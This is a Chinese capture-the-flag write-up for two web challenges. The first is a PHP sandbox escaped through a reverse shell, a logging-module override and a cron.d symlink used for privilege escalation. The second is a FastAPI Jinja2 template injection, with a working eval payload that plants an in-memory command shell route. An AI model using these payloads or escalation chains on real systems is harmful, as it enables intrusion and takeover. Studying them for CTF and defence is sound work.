php_online
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return 'submit_id.html'
@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return 'submit_code.html'
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)
return result
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)
直接执行了以nobody的身份执行了php代码,那我们直接用php弹shell
成功弹shell,web里写了sudo -u www-data python3 init.py,而init.py会导入logging,我们可以覆盖logging来得到www-data的shell,这里有两种方式:写一个logging.py、 建一个logging文件夹有一个__init__.py,这里因为web用rm * 删除了我们的文件,所以我们建文件夹
得到www-data,但是要提权为root才能读flag
这里尝试了suid和sudo都不行,可以看到root跑了一个定时任务,尝试定时任务提权
因为cron会检查/etc/crontab文件和/etc/cron.*/ /var/spool/cron/这两个文件夹下的文件,所以我们在建一个/sandbox建一个软链接指向/etc/cron.d web写phpcode就会写到这个文件夹下,但是执行完就删除了,所以我们要让它尽量在定时任务执行之后再删除,通过php的sleep函数就可以了
1 * * * * root chmod 777 /flag
#<?php sleep(233);
对cron来说#是注释,但不影响php执行后面的语句另外我本地测试的时候发现定时任务语句的最后一定要换行,不然就不执行,chatgpt给的解释是cron以换行作为每一行任务的分割和结束,没有换行就无法正常解析导致不执行
写入之后还要/etc/init.d/cron reload来让更改立即生效,不然就不知道什么时候会应用我们写进去的phpcode了。
最后成功修改
GoldenHornKing
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
app = FastAPI()
access = False
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
一个fastapi的ssti,通过500的报错确定自己的payload有rce,测试之后发现不出网,所以尝试内存马,第一次接触,参考flask内存马的写法,直接给payload
lipsum.__globals__['__builtins__']['eval']("app.add_api_route('/shell',lambda:result ,methods=['GET'])",{'app':app,'result':lipsum.__globals__.get("os").popen("cat /flag").read()})
这里我先通过lipsum.__globals__'__builtins__'获取到eval就可以执行任意代码了。
app.add_api_route('/shell',lambda:result ,methods=['GET'])则是注册api路由,最开始用的是add_route结果一直报错匿名函数返回的字符串类型不可以callback,但是api就可以
{'app':app,'result':lipsum.__globals__.get("os").popen("cat /flag").read()则是让eval里的代码能够找到对应的变量是什么,app是题目在render的时候就自己帮我们引进的变量,但os并没有,所以我们要一个ssti自己获取为什么要用eval?为什么不直接app.add_api_route('/shell',lambda:result ,methods=['GET'])呢?最开始在这个地方浪费了很多时间,因为render的语法和python的语法是不一样的,render是不能解析匿名函数的:,而python是可以的。所以才要用eval来执行
如果题目没有给app也可以__import__('sys').modules['__main__'].__dict__['app']自己导入
最后访问/shell得到flag
实际上把匿名函数改成lambda cmd:__import('os').popen(cmd).read()就是真正的内存马了,因为这个cmd并不是匿名函数的名称,而是这个函数的参数,我们可以/shell?cmd=whoami这样传递进去,顺带一提两个参数是这种写法 lambda x, y: x + y
python原型链污染
顺便聊一下为什么经常有"".__class__.__init__.__globals__这种payload来获取os,
其实"".__class__.__init__主要是为了获取到一个function,也就是str类的__init__方法
像这道题,我们有index函数,如果给我们用的话,直接index.__globals__就可以获取os了。
所以一下原型链污染的python题经常写一些恶意类和初始方法,具体可以看ciscn2024的Polluted和dasctf的Sanic's revenge